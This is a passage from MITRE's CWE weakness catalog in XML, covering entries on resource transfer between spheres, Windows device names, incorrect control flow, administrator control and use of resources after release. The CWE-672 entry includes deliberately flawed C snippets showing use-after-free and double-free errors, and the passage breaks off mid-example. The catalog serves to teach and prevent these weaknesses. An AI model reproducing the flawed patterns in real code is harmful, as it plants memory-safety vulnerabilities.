					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="669" Name="Incorrect Resource Transfer Between Spheres" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product does not properly transfer a resource/behavior to another sphere, or improperly imports a resource/behavior from another sphere, in a manner that provides unintended control over that resource.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="664" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Background_Details>
            <Background_Detail>A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.</Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Background_Details, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships, Relevant_Properties</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="67" Name="Improper Handling of Windows Device Names" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product constructs pathnames from user input, but it does not handle or incorrectly handles a pathname containing a Windows device name such as AUX or CON. This typically leads to denial of service or an information exposure when the application attempts to process the pathname as a regular file.</Description>
         <Extended_Description>Not properly handling virtual filenames (e.g. AUX, CON, PRN, COM1, LPT1) can result in different types of vulnerabilities. In some cases an attacker can request a device via injection of a virtual filename in a URL, which may cause an error that leads to a denial of service or an error page that reveals sensitive information. A product that allows device names to bypass filtering runs the risk of an attacker injecting malicious code in a file with the name of a device.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="66" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Operating_System Class="Windows" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>Historically, there was a bug in the Windows operating system that caused a blue screen of death. Even after that issue was fixed DOS device names continue to be a factor.</Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Other</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>Read Application Data</Impact>
               <Impact>Other</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Be familiar with the device names in the operating system where your system is deployed. Check input for these device names.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0106</Reference>
               <Description>Server allows remote attackers to cause a denial of service via a series of requests to .JSP files that contain an MS-DOS device name.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0106</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0200</Reference>
               <Description>Server allows remote attackers to cause a denial of service via an HTTP request for an MS-DOS device name.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0200</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1052</Reference>
               <Description>Product allows remote attackers to use MS-DOS device names in HTTP requests to cause a denial of service or obtain the physical path of the server.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1052</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0493</Reference>
               <Description>Server allows remote attackers to cause a denial of service via a URL that contains an MS-DOS device name.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0493</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0558</Reference>
               <Description>Server allows a remote attacker to create a denial of service via a URL request which includes a MS-DOS device name.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0558</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0168</Reference>
               <Description>Microsoft Windows 9x operating systems allow an attacker to cause a denial of service via a pathname that includes file device names, aka the "DOS Device in Path Name" vulnerability.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0168</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0492</Reference>
               <Description>Server allows remote attackers to determine the physical path of the server via a URL containing MS-DOS device names.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0492</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0552</Reference>
               <Description>Product does not properly handle files whose names contain reserved MS-DOS device names, which can allow malicious code to bypass detection when it is installed, copied, or executed.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0552</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2195</Reference>
               <Description>Server allows remote attackers to cause a denial of service (application crash) via a URL with a filename containing a .cgi extension and an MS-DOS device name.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2195</Link>
            </Observed_Example>
         </Observed_Examples>
         <Affected_Resources>
            <Affected_Resource>File or Directory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Windows MS-DOS device names</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO32-C</Entry_ID>
               <Entry_Name>Do not perform operations on devices that are only appropriate for files</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>FIO00-J</Entry_ID>
               <Entry_Name>Do not operate on files in shared directories</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-7"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 11, &#34;Device Files&#34;, Page 666"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Background_Details, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Affected_Resources, Applicable_Platforms, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Windows MS-DOS Device Names</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-03-10">Failure to Handle Windows Device Names</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="670" Name="Always-Incorrect Control Flow Implementation" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The code contains a control flow path that does not reflect the algorithm that the path is intended to implement, leading to incorrect behavior any time this path is navigated.</Description>
         <Extended_Description>This weakness captures cases in which a particular code segment is always incorrect with respect to the algorithm that it is implementing. For example, if a C programmer intends to include multiple statements in a single block but does not include the enclosing braces (CWE-483), then the logic is always incorrect. This issue is in contrast to most weaknesses in which the code usually behaves correctly, except when it is externally manipulated in malicious ways.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="691" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>This issue typically appears in rarely-tested code, since the "always-incorrect" nature will be detected as a bug during normal usage.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Impact>Alter Execution Logic</Impact>
            </Consequence>
         </Common_Consequences>
	 <Observed_Examples>
	   <Observed_Example>
	     <Reference>CVE-2021-3011</Reference>
	     <Description>virtual interrupt controller in a virtualization product allows crash of host by writing a certain invalid value to a register, which triggers a fatal error instead of returning an error code</Description>
	     <Link>https://www.cve.org/CVERecord?id=CVE-2021-3011</Link>
	   </Observed_Example>
	 </Observed_Examples>
         <Notes>
            <Note Type="Maintenance">This node could possibly be split into lower-level nodes. "Early Return" is for returning control to the caller too soon (e.g., CWE-584). "Excess Return" is when control is returned too far up the call stack (CWE-600, CWE-395). "Improper control limitation" occurs when the product maintains control at a lower level of execution, when control should be returned "further" up the call stack (CWE-455). "Incorrect syntax" covers code that's "just plain wrong" such as CWE-484 and CWE-483.</Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Modes_of_Introduction, Other_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="671" Name="Lack of Administrator Control over Security" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product uses security features in a way that prevents the product's administrator from tailoring security settings to reflect the environment in which the product is being used. This introduces resultant weaknesses or prevents it from operating at a level of security that is desired by the administrator.</Description>
         <Extended_Description>If the product's administrator does not have the ability to manage security-related decisions at all times, then protecting the product from outside threats - including the product's developer - can become impossible. For example, a hard-coded account name and password cannot be changed by the administrator, thus exposing that product to attacks that the administrator can not prevent.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="657" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2008-04-11</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships, Relevant_Properties</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-01-12">Design Principle Violation: Lack of Administrator Control over Security</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="672" Name="Operation on a Resource after Expiration or Release" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product uses, accesses, or otherwise operates on a resource after that resource has been expired, released, or revoked.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="666" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Mobile" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>Read Application Data</Impact>
               <Note>If a released resource is subsequently reused or reallocated, then an attempt to use the original resource might allow access to sensitive data that is associated with a different user or entity.</Note>
            </Consequence>
            <Consequence>
               <Scope>Other</Scope>
               <Scope>Availability</Scope>
               <Impact>Other</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>When a resource is released it might not be in an expected state, later attempts to access the resource may lead to resultant errors that may lead to a crash.</Note>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-71">
               <Intro_Text>The following code shows a simple example of a use after free error:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char* ptr = (char*)malloc (SIZE);<xhtml:br/>if (err) {<xhtml:div style="margin-left:1em;">abrt = 1;<xhtml:br/>free(ptr);</xhtml:div>}<xhtml:br/>...<xhtml:br/>if (abrt) {<xhtml:div style="margin-left:1em;">logError("operation aborted before commit", ptr);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-72">
               <Intro_Text>The following code shows a simple example of a double free error:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char* ptr = (char*)malloc (SIZE);<xhtml:br/>...<xhtml:br/>if (abrt) {<xhtml:div style="margin-left:1em;">free(ptr);</xhtml:div>}<xhtml:br/>...<xhtml:br/>free(ptr);</xhtml:div>
               </Example_Code>
               <Body_Text>Double free vulnerabilities have two common (and sometimes overlapping) causes:</Body_Text>
               <Body_Text>
                  <xhtml:ul>
                     <xhtml:li>
                        <xhtml:div>Error conditions and other exceptional circumstances</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>Confusion over which part of the program is responsible for freeing the memory</xhtml:div>
                     </xhtml:li>
                  </xhtml:ul>
               </Body_Text>
               <Body_Text>Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the following C/C++ example the method processMessage is used to process a message received in the input array of char arrays. The input message array contains two char arrays: the first is the length of the message and the second is the body of the message. The length of the message is retrieved and used to allocate enough memory for a local char array, messageBody, to be created for the message body. The messageBody is processed in the method processMessageBody that will return an error if an error occurs while processing. If an error occurs then the return result variable is set to indicate an error and the messageBody char array memory is released using the method free and an error message is sent to the logError method.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#define FAIL 0<xhtml:br/>#define SUCCESS 1<xhtml:br/>#define ERROR -1<xhtml:br/>#define MAX_MESSAGE_SIZE 32<xhtml:br/>
                     <xhtml:br/>int processMessage(char **message)<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                        <xhtml:div>int result = SUCCESS;<xhtml:br/>
